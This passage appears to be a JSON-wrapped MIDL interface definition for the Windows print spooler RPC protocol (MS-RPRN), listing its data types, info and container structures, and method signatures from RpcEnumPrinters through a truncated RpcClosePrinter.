    "content": "[\n\tuuid(12345678-1234-abcd-ef00-0123456789ab),\n\t\tversion(1.0),\n]\ninterface winspool\n{\n\ttypedef int BOOL, * PBOOL, * LPBOOL;\n\ttypedef unsigned char BYTE, * PBYTE, * LPBYTE;\n\ttypedef BYTE BOOLEAN, * PBOOLEAN;\n\ttypedef wchar_t WCHAR, * PWCHAR;\n\ttypedef WCHAR* BSTR;\n\ttypedef double DOUBLE;\n\ttypedef unsigned long DWORD, * PDWORD, * LPDWORD;\n\ttypedef unsigned int DWORD32;\n\ttypedef unsigned __int64 DWORD64, * PDWORD64;\n\ttypedef unsigned __int64 ULONGLONG;\n\ttypedef ULONGLONG DWORDLONG, * PDWORDLONG;\n\ttypedef unsigned char UCHAR, * PUCHAR;\n\n\ttypedef void* HANDLE;\n\ttypedef DWORD HCALL;\n\ttypedef int INT, * LPINT;\n\ttypedef signed char INT8;\n\ttypedef signed short INT16;\n\ttypedef signed int INT32;\n\ttypedef signed __int64 INT64;\n\ttypedef void* LDAP_UDP_HANDLE;\n\ttypedef const wchar_t* LMCSTR;\n\ttypedef WCHAR* LMSTR;\n\ttypedef long LONG, * PLONG, * LPLONG;\n\ttypedef signed __int64 LONGLONG;\n\ttypedef LONG HRESULT;\n\n\ttypedef __int3264 LONG_PTR;\n\ttypedef unsigned __int3264 ULONG_PTR;\n\n\ttypedef signed int LONG32;\n\ttypedef signed __int64 LONG64, * PLONG64;\n\ttypedef const void* LPCVOID;\n\ttypedef const wchar_t* LPCWSTR;\n\n\ttypedef unsigned int UINT;\n\ttypedef unsigned char UINT8;\n\ttypedef unsigned short UINT16;\n\ttypedef unsigned int UINT32;\n\ttypedef unsigned __int64 UINT64;\n\ttypedef unsigned long ULONG, * PULONG;\n\ttypedef unsigned __int64 QWORD;\n\ttypedef void* RPC_BINDING_HANDLE;\n\ttypedef UCHAR* STRING;\n\ttypedef ULONG_PTR DWORD_PTR;\n\ttypedef ULONG_PTR SIZE_T;\n\ttypedef unsigned int ULONG32;\n\ttypedef unsigned __int64 ULONG64;\n\ttypedef unsigned short USHORT;\n\ttypedef void * PVOID, * LPVOID;\n\ttypedef unsigned short WORD, * PWORD, * LPWORD;\n\n    typedef struct _GUID {\n   unsigned long Data1;\n   unsigned short Data2;\n   unsigned short Data3;\n   byte Data4[8];\n } GUID, \n   UUID, \n  *PGUID;\n\n\ttypedef unsigned short LANGID;\n\ttypedef [context_handle] void* GDI_HANDLE;\n\ttypedef [context_handle] void* PRINTER_HANDLE;\n\ttypedef [handle] wchar_t* STRING_HANDLE;\n\n    typedef struct _FILETIME {\n        DWORD dwLowDateTime;\n        DWORD dwHighDateTime;\n    } FILETIME,\n        * PFILETIME,\n        * LPFILETIME;\n\n    typedef struct _SYSTEMTIME {\n        WORD wYear;\n        WORD wMonth;\n        WORD wDayOfWeek;\n        WORD wDay;\n        WORD wHour;\n        WORD wMinute;\n        WORD wSecond;\n        WORD wMilliseconds;\n    } SYSTEMTIME,\n        * PSYSTEMTIME;\n\n    typedef struct {\n        long cx;\n        long cy;\n    } SIZE;\n\n    typedef struct {\n        long left;\n        long top;\n        long right;\n        long bottom;\n    } RECTL;\n\n    // [MS-RPRN] common device state structure\n    typedef struct _devicemode {\n        wchar_t  dmDeviceName[32];\n\n        unsigned short dmSpecVersion;\n        unsigned short dmDriverVersion;\n        unsigned short dmSize;\n        unsigned short dmDriverExtra;\n\n        DWORD dmFields;\n\n        short dmOrientation;\n        short dmPaperSize;\n        short dmPaperLength;\n        short dmPaperWidth;\n        short dmScale;\n        short dmCopies;\n        short dmDefaultSource;\n        short dmPrintQuality;\n        short dmColor;\n        short dmDuplex;\n        short dmYResolution;\n        short dmTTOption;\n        short dmCollate;\n\n        wchar_t  dmFormName[32];\n\n        unsigned short reserved0;\n\n        DWORD reserved1;\n        DWORD reserved2;\n        DWORD reserved3;\n        DWORD dmNup;\n        DWORD reserved4;\n        DWORD dmICMMethod;\n        DWORD dmICMIntent;\n        DWORD dmMediaType;\n        DWORD dmDitherType;\n        DWORD reserved5;\n        DWORD reserved6;\n        DWORD reserved7;\n        DWORD reserved8;\n    } DEVMODE;\n\n    // [MS-RPRN] common info structures\n    typedef struct _DOC_INFO_1 {\n        [string] wchar_t* pDocName;\n        [string] wchar_t* pOutputFile;\n        [string] wchar_t* pDatatype;\n    } DOC_INFO_1;\n\n    typedef struct _DRIVER_INFO_1 {\n        [string] wchar_t* pName;\n    } DRIVER_INFO_1;\n\n    typedef struct _DRIVER_INFO_2 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n    } DRIVER_INFO_2;\n\n    typedef struct _RPC_DRIVER_INFO_3 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n    } RPC_DRIVER_INFO_3;\n\n    typedef struct _RPC_DRIVER_INFO_4 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n    } RPC_DRIVER_INFO_4;\n\n    typedef struct _RPC_DRIVER_INFO_6 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n        FILETIME ftDriverDate;\n        DWORDLONG dwlDriverVersion;\n        [string] wchar_t* pMfgName;\n        [string] wchar_t* pOEMUrl;\n        [string] wchar_t* pHardwareID;\n        [string] wchar_t* pProvider;\n    } RPC_DRIVER_INFO_6;\n\n    typedef struct _RPC_DRIVER_INFO_8 {\n        DWORD cVersion;\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDriverPath;\n        [string] wchar_t* pDataFile;\n        [string] wchar_t* pConfigFile;\n        [string] wchar_t* pHelpFile;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDefaultDataType;\n        DWORD cchDependentFiles;\n        [size_is(cchDependentFiles), unique]\n            wchar_t* pDependentFiles;\n        DWORD cchPreviousNames;\n        [size_is(cchPreviousNames), unique]\n            wchar_t* pszzPreviousNames;\n        FILETIME ftDriverDate;\n        DWORDLONG dwlDriverVersion;\n        [string] wchar_t* pMfgName;\n        [string] wchar_t* pOEMUrl;\n        [string] wchar_t* pHardwareID;\n        [string] wchar_t* pProvider;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pVendorSetup;\n        DWORD cchColorProfiles;\n        [size_is(cchColorProfiles), unique]\n            wchar_t* pszzColorProfiles;\n        [string] wchar_t* pInfPath;\n        DWORD dwPrinterDriverAttributes;\n        DWORD cchCoreDependencies;\n        [size_is(cchCoreDependencies), unique]\n            wchar_t* pszzCoreDriverDependencies;\n        FILETIME ftMinInboxDriverVerDate;\n        DWORDLONG dwlMinInboxDriverVerVersion;\n    } RPC_DRIVER_INFO_8;\n\n    typedef struct _FORM_INFO_1 {\n        DWORD Flags;\n        [string] wchar_t* pName;\n        SIZE Size;\n        RECTL ImageableArea;\n    } FORM_INFO_1;\n\n    typedef struct _RPC_FORM_INFO_2 {\n        DWORD Flags;\n        [string, unique] const wchar_t* pName;\n        SIZE Size;\n        RECTL ImageableArea;\n        [string, unique] const char* pKeyword;\n        DWORD StringType;\n        [string, unique] const wchar_t* pMuiDll;\n        DWORD dwResourceId;\n        [string, unique] const wchar_t* pDisplayName;\n        LANGID wLangID;\n    } RPC_FORM_INFO_2;\n\n    typedef struct _JOB_INFO_1 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pStatus;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD TotalPages;\n        DWORD PagesPrinted;\n        SYSTEMTIME Submitted;\n    } JOB_INFO_1;\n\n    typedef struct _JOB_INFO_2 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pNotifyName;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pParameters;\n        [string] wchar_t* pDriverName;\n        ULONG_PTR pDevMode;\n        [string] wchar_t* pStatus;\n        ULONG_PTR pSecurityDescriptor;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD TotalPages;\n        DWORD Size;\n        SYSTEMTIME Submitted;\n        DWORD Time;\n        DWORD PagesPrinted;\n    } JOB_INFO_2;\n\n    typedef struct _JOB_INFO_3 {\n        DWORD JobId;\n        DWORD NextJobId;\n        DWORD Reserved;\n    } JOB_INFO_3;\n\n    typedef struct _JOB_INFO_4 {\n        DWORD JobId;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pDocument;\n        [string] wchar_t* pNotifyName;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pParameters;\n        [string] wchar_t* pDriverName;\n        ULONG_PTR pDevMode;\n        [string] wchar_t* pStatus;\n        ULONG_PTR pSecurityDescriptor;\n        DWORD Status;\n        DWORD Priority;\n        DWORD Position;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD TotalPages;\n        DWORD Size;\n        SYSTEMTIME Submitted;\n        DWORD Time;\n        DWORD PagesPrinted;\n        long SizeHigh;\n    } JOB_INFO_4;\n\n    typedef struct _MONITOR_INFO_1 {\n        [string] wchar_t* pName;\n    } MONITOR_INFO_1;\n\n    typedef struct _MONITOR_INFO_2 {\n        [string] wchar_t* pName;\n        [string] wchar_t* pEnvironment;\n        [string] wchar_t* pDLLName;\n    } MONITOR_INFO_2;\n\n    typedef struct _PORT_INFO_1 {\n        [string] wchar_t* pPortName;\n    } PORT_INFO_1;\n\n    typedef struct _PORT_INFO_2 {\n        [string] wchar_t* pPortName;\n        [string] wchar_t* pMonitorName;\n        [string] wchar_t* pDescription;\n        DWORD fPortType;\n        DWORD Reserved;\n    } PORT_INFO_2;\n\n    typedef struct _PORT_INFO_3 {\n        DWORD dwStatus;\n        [string] wchar_t* pszStatus;\n        DWORD dwSeverity;\n    } PORT_INFO_3;\n\n    typedef struct _PORT_INFO_FF {\n        [string] wchar_t* pPortName;\n        DWORD cbMonitorData;\n        BYTE* pMonitorData;\n    } PORT_INFO_FF;\n\n    typedef struct _PRINTER_INFO_STRESS {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pServerName;\n        DWORD cJobs;\n        DWORD cTotalJobs;\n        DWORD cTotalBytes;\n        SYSTEMTIME stUpTime;\n        DWORD MaxcRef;\n        DWORD cTotalPagesPrinted;\n        DWORD dwGetVersion;\n        DWORD fFreeBuild;\n        DWORD cSpooling;\n        DWORD cMaxSpooling;\n        DWORD cRef;\n        DWORD cErrorOutOfPaper;\n        DWORD cErrorNotReady;\n        DWORD cJobError;\n        DWORD dwNumberOfProcessors;\n        DWORD dwProcessorType;\n        DWORD dwHighPartTotalBytes;\n        DWORD cChangeID;\n        DWORD dwLastError;\n        DWORD Status;\n        DWORD cEnumerateNetworkPrinters;\n        DWORD cAddNetPrinters;\n        unsigned short wProcessorArchitecture;\n        unsigned short wProcessorLevel;\n        DWORD cRefIC;\n        DWORD dwReserved2;\n        DWORD dwReserved3;\n    } PRINTER_INFO_STRESS;\n\n    typedef struct _PRINTER_INFO_1 {\n        DWORD Flags;\n        [string] wchar_t* pDescription;\n        [string] wchar_t* pName;\n        [string] wchar_t* pComment;\n    } PRINTER_INFO_1;\n\n    typedef struct _PRINTER_INFO_2 {\n        [string] wchar_t* pServerName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pShareName;\n        [string] wchar_t* pPortName;\n        [string] wchar_t* pDriverName;\n        [string] wchar_t* pComment;\n        [string] wchar_t* pLocation;\n        ULONG_PTR pDevMode;\n        [string] wchar_t* pSepFile;\n        [string] wchar_t* pPrintProcessor;\n        [string] wchar_t* pDatatype;\n        [string] wchar_t* pParameters;\n        ULONG_PTR pSecurityDescriptor;\n        DWORD Attributes;\n        DWORD Priority;\n        DWORD DefaultPriority;\n        DWORD StartTime;\n        DWORD UntilTime;\n        DWORD Status;\n        DWORD cJobs;\n        DWORD AveragePPM;\n    } PRINTER_INFO_2;\n\n    typedef struct _PRINTER_INFO_3 {\n        ULONG_PTR pSecurityDescriptor;\n    } PRINTER_INFO_3;\n\n    typedef struct _PRINTER_INFO_4 {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pServerName;\n        DWORD Attributes;\n    } PRINTER_INFO_4;\n\n    typedef struct _PRINTER_INFO_5 {\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pPortName;\n        DWORD Attributes;\n        DWORD DeviceNotSelectedTimeout;\n        DWORD TransmissionRetryTimeout;\n    } PRINTER_INFO_5;\n\n    typedef struct _PRINTER_INFO_6 {\n        DWORD dwStatus;\n    } PRINTER_INFO_6;\n\n    typedef struct _PRINTER_INFO_7 {\n        [string] wchar_t* pszObjectGUID;\n        DWORD dwAction;\n    } PRINTER_INFO_7;\n\n    typedef struct _PRINTER_INFO_8 {\n        ULONG_PTR pDevMode;\n    } PRINTER_INFO_8;\n\n    typedef struct _PRINTER_INFO_9 {\n        ULONG_PTR pDevMode;\n    } PRINTER_INFO_9;\n\n    typedef struct _SPLCLIENT_INFO_1 {\n        DWORD dwSize;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        DWORD dwBuildNum;\n        DWORD dwMajorVersion;\n        DWORD dwMinorVersion;\n        unsigned short wProcessorArchitecture;\n    } SPLCLIENT_INFO_1;\n\n    typedef struct _SPLCLIENT_INFO_2 {\n        LONG_PTR notUsed;\n    } SPLCLIENT_INFO_2;\n\n    typedef struct _SPLCLIENT_INFO_3 {\n        unsigned int cbSize;\n        DWORD dwFlags;\n        DWORD dwSize;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pUserName;\n        DWORD dwBuildNum;\n        DWORD dwMajorVersion;\n        DWORD dwMinorVersion;\n        unsigned short wProcessorArchitecture;\n        unsigned  __int64 hSplPrinter;\n    } SPLCLIENT_INFO_3;\n\n    // [MS-RPRN] common info container structures\n    typedef struct _DEVMODE_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf), unique] BYTE* pDevMode;\n    } DEVMODE_CONTAINER;\n\n    typedef struct _DOC_INFO_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                DOC_INFO_1* pDocInfo1;\n        } DocInfo;\n    } DOC_INFO_CONTAINER;\n\n    typedef struct _DRIVER_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                DRIVER_INFO_1* pNotUsed;\n            [case(2)]\n                DRIVER_INFO_2* Level2;\n            [case(3)]\n                RPC_DRIVER_INFO_3* Level3;\n            [case(4)]\n                RPC_DRIVER_INFO_4* Level4;\n            [case(6)]\n                RPC_DRIVER_INFO_6* Level6;\n            [case(8)]\n                RPC_DRIVER_INFO_8* Level8;\n        } DriverInfo;\n    } DRIVER_CONTAINER;\n\n    typedef struct _FORM_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                FORM_INFO_1* pFormInfo1;\n            [case(2)]\n                RPC_FORM_INFO_2* pFormInfo2;\n        } FormInfo;\n    } FORM_CONTAINER;\n\n    typedef struct _JOB_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                JOB_INFO_1* Level1;\n            [case(2)]\n                JOB_INFO_2* Level2;\n            [case(3)]\n                JOB_INFO_3* Level3;\n            [case(4)]\n                JOB_INFO_4* Level4;\n        } JobInfo;\n    } JOB_CONTAINER;\n\n    typedef struct _MONITOR_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                MONITOR_INFO_1* pMonitorInfo1;\n            [case(2)]\n                MONITOR_INFO_2* pMonitorInfo2;\n        } MonitorInfo;\n    } MONITOR_CONTAINER;\n\n    typedef struct _PORT_CONTAINER {\n        DWORD Level;\n        [switch_is(0x00FFFFFF & Level)]\n            union {\n            [case(1)]\n                PORT_INFO_1* pPortInfo1;\n            [case(2)]\n                PORT_INFO_2* pPortInfo2;\n            [case(3)]\n                PORT_INFO_3* pPortInfo3;\n            [case(0x00FFFFFF)]\n                PORT_INFO_FF* pPortInfoFF;\n        } PortInfo;\n    } PORT_CONTAINER;\n\n    typedef struct _PORT_VAR_CONTAINER {\n        DWORD cbMonitorData;\n        [size_is(cbMonitorData), unique, disable_consistency_check] BYTE*\n            pMonitorData;\n    } PORT_VAR_CONTAINER;\n\n    typedef struct _PRINTER_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(0)]\n                PRINTER_INFO_STRESS* pPrinterInfoStress;\n            [case(1)]\n                PRINTER_INFO_1* pPrinterInfo1;\n            [case(2)]\n                PRINTER_INFO_2* pPrinterInfo2;\n            [case(3)]\n                PRINTER_INFO_3* pPrinterInfo3;\n            [case(4)]\n                PRINTER_INFO_4* pPrinterInfo4;\n            [case(5)]\n                PRINTER_INFO_5* pPrinterInfo5;\n            [case(6)]\n                PRINTER_INFO_6* pPrinterInfo6;\n            [case(7)]\n                PRINTER_INFO_7* pPrinterInfo7;\n            [case(8)]\n                PRINTER_INFO_8* pPrinterInfo8;\n            [case(9)]\n                PRINTER_INFO_9* pPrinterInfo9;\n        } PrinterInfo;\n    } PRINTER_CONTAINER;\n\n\n    typedef struct SECURITY_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf), unique] BYTE* pSecurity;\n    } SECURITY_CONTAINER;\n\n    typedef struct _SPLCLIENT_CONTAINER {\n        DWORD Level;\n        [switch_is(Level)] union {\n            [case(1)]\n                SPLCLIENT_INFO_1* pClientInfo1;\n            [case(2)]\n                SPLCLIENT_INFO_2* pNotUsed1;\n            [case(3)]\n                SPLCLIENT_INFO_3* pNotUsed2;\n        } ClientInfo;\n    } SPLCLIENT_CONTAINER;\n\n    typedef struct _STRING_CONTAINER {\n        DWORD cbBuf;\n        [size_is(cbBuf / 2), unique] WCHAR* pszString;\n    } STRING_CONTAINER;\n\n    typedef struct _SYSTEMTIME_CONTAINER {\n        DWORD cbBuf;\n        SYSTEMTIME* pSystemTime;\n    } SYSTEMTIME_CONTAINER;\n\n    typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {\n        unsigned short Type;\n        unsigned short Reserved0;\n        DWORD Reserved1;\n        DWORD Reserved2;\n        DWORD Count;\n        [size_is(Count), unique] unsigned short* pFields;\n    } RPC_V2_NOTIFY_OPTIONS_TYPE;\n\n    typedef struct _RPC_V2_NOTIFY_OPTIONS {\n        DWORD Version;\n        DWORD Reserved;\n        DWORD Count;\n        [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;\n    } RPC_V2_NOTIFY_OPTIONS;\n\n\n    typedef enum {\n        kInvalidJobState = 0,\n        kLogJobPrinted,\n        kLogJobRendered,\n        kLogJobError,\n        kLogJobPipelineError,\n        kLogOfflineFileFull\n    } EBranchOfficeJobEventType;\n\n    typedef struct {\n        DWORD             Status;\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pPortName;\n        LONGLONG          Size;\n        DWORD             TotalPages;\n    } RPC_BranchOfficeJobDataPrinted;\n\n    typedef struct {\n        LONGLONG    Size;\n        DWORD       ICMMethod;\n        short       Color;\n        short       PrintQuality;\n        short       YResolution;\n        short       Copies;\n        short       TTOption;\n    } RPC_BranchOfficeJobDataRendered;\n\n    typedef struct {\n        DWORD             LastError;\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pUserName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pDataType;\n        LONGLONG          TotalSize;\n        LONGLONG          PrintedSize;\n        DWORD             TotalPages;\n        DWORD             PrintedPages;\n        [string] wchar_t* pMachineName;\n        [string] wchar_t* pJobError;\n        [string] wchar_t* pErrorDescription;\n    } RPC_BranchOfficeJobDataError;\n\n    typedef struct {\n        [string] wchar_t* pDocumentName;\n        [string] wchar_t* pPrinterName;\n        [string] wchar_t* pExtraErrorInfo;\n    } RPC_BranchOfficeJobDataPipelineFailed;\n\n    typedef struct {\n        [string] wchar_t* pMachineName;\n    } RPC_BranchOfficeLogOfflineFileFull;\n\n    typedef struct {\n        EBranchOfficeJobEventType  eEventType;\n        DWORD                      JobId;\n\n        [switch_type(EBranchOfficeJobEventType), switch_is(eEventType)]\n            union {\n            [case(kLogJobPrinted)]\n                RPC_BranchOfficeJobDataPrinted             LogJobPrinted;\n            [case(kLogJobRendered)]\n                RPC_BranchOfficeJobDataRendered            LogJobRendered;\n            [case(kLogJobError)]\n                RPC_BranchOfficeJobDataError               LogJobError;\n            [case(kLogJobPipelineError)]\n                RPC_BranchOfficeJobDataPipelineFailed      LogPipelineFailed;\n            [case(kLogOfflineFileFull)]\n                RPC_BranchOfficeLogOfflineFileFull         LogOfflineFileFull;\n        } JobInfo;\n    } RPC_BranchOfficeJobData;\n\n    typedef struct {\n        DWORD cJobDataEntries;\n        [size_is(cJobDataEntries), unique] RPC_BranchOfficeJobData JobData[];\n    } RPC_BranchOfficeJobDataContainer;\n\n    // [MS-RPRN] methods\n    DWORD\n        RpcEnumPrinters(\n            [in] DWORD Flags,\n            [in, string, unique]  STRING_HANDLE Name,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPrinterEnum,\n            [in] DWORD  cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcOpenPrinter(\n            [in, string, unique] STRING_HANDLE pPrinterName,\n            [out] PRINTER_HANDLE* pHandle,\n            [in, string, unique] wchar_t* pDatatype,\n            [in] DEVMODE_CONTAINER* pDevModeContainer,\n            [in] DWORD AccessRequired\n        );\n\n    DWORD\n        RpcSetJob(\n            [in] PRINTER_HANDLE  hPrinter,\n            [in] DWORD JobId,\n            [in, unique] JOB_CONTAINER* pJobContainer,\n            [in] DWORD Command\n        );\n\n    DWORD\n        RpcGetJob(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD JobId,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pJob,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcEnumJobs(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD FirstJob,\n            [in] DWORD NoJobs,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pJob,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcAddPrinter(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] PRINTER_CONTAINER* pPrinterContainer,\n            [in] DEVMODE_CONTAINER* pDevModeContainer,\n            [in] SECURITY_CONTAINER* pSecurityContainer,\n            [out] PRINTER_HANDLE* pHandle\n        );\n\n    DWORD\n        RpcDeletePrinter(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    DWORD\n        RpcSetPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] PRINTER_CONTAINER* pPrinterContainer,\n            [in] DEVMODE_CONTAINER* pDevModeContainer,\n            [in] SECURITY_CONTAINER* pSecurityContainer,\n            [in] DWORD Command\n        );\n\n    DWORD\n        RpcGetPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPrinter,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcAddPrinterDriver(\n            [in, string, unique] STRING_HANDLE pName,\n            [in] DRIVER_CONTAINER* pDriverContainer\n        );\n\n    DWORD\n        RpcEnumPrinterDrivers(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pDrivers,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcGetPrinterDriver(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pDriver,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcGetPrinterDriverDirectory(\n            [in, string, unique] STRING_HANDLE  pName,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pDriverDirectory,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcDeletePrinterDriver(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string] wchar_t* pEnvironment,\n            [in, string] wchar_t* pDriverName\n        );\n\n    DWORD\n        RpcAddPrintProcessor(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string] wchar_t* pEnvironment,\n            [in, string] wchar_t* pPathName,\n            [in, string] wchar_t* pPrintProcessorName\n        );\n\n    DWORD\n        RpcEnumPrintProcessors(\n            [in, string, unique] STRING_HANDLE pName,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPrintProcessorInfo,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded,\n            [out] DWORD* pcReturned\n        );\n\n    DWORD\n        RpcGetPrintProcessorDirectory(\n            [in, string, unique] STRING_HANDLE  pName,\n            [in, string, unique] wchar_t* pEnvironment,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pPrintProcessorDirectory,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcStartDocPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DOC_INFO_CONTAINER* pDocInfoContainer,\n            [out] DWORD* pJobId\n        );\n\n    DWORD\n        RpcStartPagePrinter(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    DWORD\n        RpcWritePrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, size_is(cbBuf)] BYTE* pBuf,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcWritten\n        );\n\n    DWORD\n        RpcEndPagePrinter(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    DWORD\n        RpcAbortPrinter(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    DWORD\n        RpcReadPrinter(\n            [in] PRINTER_HANDLE hPrinter,\n            [out, size_is(cbBuf)] BYTE* pBuf,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcNoBytesRead\n        );\n\n    DWORD\n        RpcEndDocPrinter(\n            [in] PRINTER_HANDLE hPrinter\n        );\n\n    DWORD\n        RpcAddJob(\n            [in] PRINTER_HANDLE  hPrinter,\n            [in] DWORD Level,\n            [in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*\n            pAddJob,\n            [in] DWORD cbBuf,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcScheduleJob(\n            [in] PRINTER_HANDLE  hPrinter,\n            [in] DWORD JobId\n        );\n\n    DWORD\n        RpcGetPrinterData(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pValueName,\n            [out] DWORD* pType,\n            [out, size_is(nSize)] BYTE* pData,\n            [in] DWORD nSize,\n            [out] DWORD* pcbNeeded\n        );\n\n    DWORD\n        RpcSetPrinterData(\n            [in] PRINTER_HANDLE hPrinter,\n            [in, string] wchar_t* pValueName,\n            [in] DWORD Type,\n            [in, size_is(cbData)] BYTE* pData,\n            [in] DWORD cbData\n        );\n\n    DWORD\n        RpcWaitForPrinterChange(\n            [in] PRINTER_HANDLE hPrinter,\n            [in] DWORD Flags,\n            [out] DWORD* pFlags\n        );\n\n    DWORD\n        RpcClosePrinter(\n            [in, out] PRINTER_HANDLE* 